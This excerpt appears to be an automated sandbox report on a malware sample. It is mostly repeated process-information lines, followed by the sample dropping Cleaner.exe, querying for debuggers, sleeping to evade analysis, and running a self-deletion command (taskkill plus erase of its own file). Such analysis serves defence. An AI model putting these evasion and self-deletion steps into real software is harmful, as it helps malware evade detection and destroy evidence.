Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\file.exe TID: 4516

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\dll[1]			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: Cleaner.exe, 00000016.00000002.566457832.000001CFE1A49000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "file.exe" /f

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "file.exe" /f & erase "C:\Users\user\Desktop\file.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "file.exe" /f

Source: file.exe, 00000000.00000000.313674237.000000000251E000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000000.309268377.000000000251E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000000.313674237.000000000251E000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000000.309268377.000000000251E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: program manager
Source: file.exe, 00000000.00000000.313674237.000000000251E000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000000.309268377.000000000251E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: F.program manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
